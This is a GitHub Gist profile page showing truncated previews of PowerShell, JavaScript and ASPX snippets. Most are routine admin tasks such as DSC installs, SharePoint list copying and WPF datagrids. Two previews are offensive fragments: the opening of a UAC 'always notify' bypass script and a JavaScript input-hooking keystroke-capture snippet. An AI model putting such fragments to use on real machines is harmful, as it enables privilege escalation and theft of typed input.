Skip to content

Instantly share code, notes, and snippets.

View kewalaka's full-sized avatar

Stu kewalaka

  • New Zealand
  • 03:28 (UTC +12:00)
View GitHub Profile
@kewalaka
kewalaka / dotNetInstall-DSC.ps1
Created February 25, 2018 00:51
Install .Net 3.5 using DSC & Azure Blob
configuration DotNet3
{
Import-DscResource -ModuleName xPSDesiredStateConfiguration
node localhost
{
$dotNetSXSfolder = "C:\Installs\dotNetsxs"
File dotNetSXSFolder
{
@kewalaka
kewalaka / Copy-ListItemsBetweenSites.ps1
Created December 3, 2018 07:24
Copy list items between sites, list must already exist. Target list is added to, not cleared first. Uses PowerShell PnP
$sourceSite = 'https://mydomain.sharepoint.com/sites/mysourcesite'
$targetSite = 'https://mydomain.sharepoint.com/sites/mytargetsite'
$listsToCopy = @('List1', 'List2')
# install Powershell patterns and practices (PnP) module, if not already installed
if ($null -eq (Get-InstalledModule SharePointPnPPowerShellOnline -ErrorAction SilentlyContinue)) {
install-module SharePointPnPPowerShellOnline -AllowClobber -SkipPublisherCheck -Scope CurrentUser
}
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $env:temp\apps_64bit.txt
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall $env:temp\apps_32bit.txt
reg export HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall $env:temp\apps_userapps.txt
ipconfig /all > $env:temp\apps_ipconfig.txt
start $env:temp
<#
// Command prompt version
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall %temp%\apps_64bit.txt
// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
@kewalaka
kewalaka / poshgui-createvm-ps7compat.ps1
Created June 20, 2020 21:35
This is an example of how to change the output of poshgui to also work on PS7 (maintaining compatibility with earlier versions of PS)
<# This form was created using POSHGUI.com a free online gui designer for PowerShell
.NAME
VMWare VM Create
.SYNOPSIS
Create VMWare VM's quickly and easily with this great GUI
.DESCRIPTION
Create VMWare VM's quickly and easily with this great GUI
#>
Add-Type -AssemblyName System.Windows.Forms
<% @ Page Language = "C#" %>
<script runat = "server" >
protected void dumpObject (object o, Table outputTable) {
try {
Type refl_WindowsIdenty = typeof (System.Security.Principal.WindowsIdentity);
System.Reflection.MemberInfo[] refl_WindowsIdenty_members = o.GetType ().FindMembers (
System.Reflection.MemberTypes.Property,
@kewalaka
kewalaka / datagrid.ps1
Created November 22, 2020 00:20
WPF databinding in Powershell with nested PS custom objects - not working
#-------------------------------------------------------------#
#----Initial Declarations-------------------------------------#
#-------------------------------------------------------------#
Add-Type -AssemblyName PresentationCore, PresentationFramework
$Xaml = @"
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" Width="800" Height="300" Name="khsdijy0ho5al">
<Grid>
<Grid.RowDefinitions>
@kewalaka
kewalaka / datagrid-withclass.ps1
Last active January 29, 2022 04:38
WPF Datagrid with powershell using class to implement INotifyPropertyChanged - still not working
Using Namespace System.ComponentModel
Class ViewModel : INotifyPropertyChanged {
Hidden [PropertyChangedEventHandler] $PropertyChanged
[String] $ServerInstance
[String] $targetAccount
[Boolean] $isEverythingDone
[String] $Status
[Void] add_PropertyChanged([PropertyChangedEventHandler] $propertyChanged) {
@kewalaka
kewalaka / powershell-uac-always-notify-bypass.ps1
Last active February 25, 2023 09:12 — forked from chryzsh/powershell-uac-always-notify-bypass.ps1
uac bypass for always notify (still works on 20H2)
$assemblies=(
"System"
)
$source=@"
using System;
using Microsoft.Win32;
using System.Diagnostics;
namespace Helloworld